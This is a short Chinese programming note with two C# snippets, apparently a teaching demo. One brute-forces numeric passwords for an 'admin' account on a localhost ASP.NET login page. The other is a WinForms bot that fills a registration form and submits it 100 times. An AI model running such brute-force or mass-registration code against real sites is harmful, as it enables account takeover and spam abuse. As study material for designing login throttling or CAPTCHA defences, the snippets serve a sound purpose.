机器人注册和暴力破解

• 暴力破解

class Program
    {
        static void Main(string[] args)
        {
            WebClient wc = new WebClient();
            wc.Encoding = Encoding.UTF8;
            for (int i = 0; i <= 500; i++)
            {
                string s = wc.DownloadString("http://localhost:49600/login1.aspx?__VIEWSTATE=%2FwEPDwUKLTg0OTIzODQwNWRkH3XM8DNj6MGK%2B7A25KncXLr%2B3FeBm%2F8U%2Fo8MTX5nQSQ%3D&__EVENTVALIDATION=%2FwEWBALn59ODCALs0bLrBgLs0fbZDAKM54rGBs7JOKT5FWp4l3srap2x0BpMRoduAthfJDhSB9BfmPuH&TextBox1=admin&TextBox2="+i+"&Button1=%E7%99%BB%E5%BD%95");
                if (s.Contains("登录成功"))
                {
                    Console.WriteLine("密码是："+i);
                }
            }
            Console.ReadKey();
        }
    }

•  机器人注册

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
                webBrowser1.Document.GetElementById("TextBox1").SetAttribute("Value", "罗俊");
                webBrowser1.Document.GetElementById("TextBox2").SetAttribute("Value", "发生大幅");
                for (int i = 0; i <= 100; i++)
                {
                    webBrowser1.Document.GetElementById("Button1").InvokeMember("Click");
                }
        }
    }
}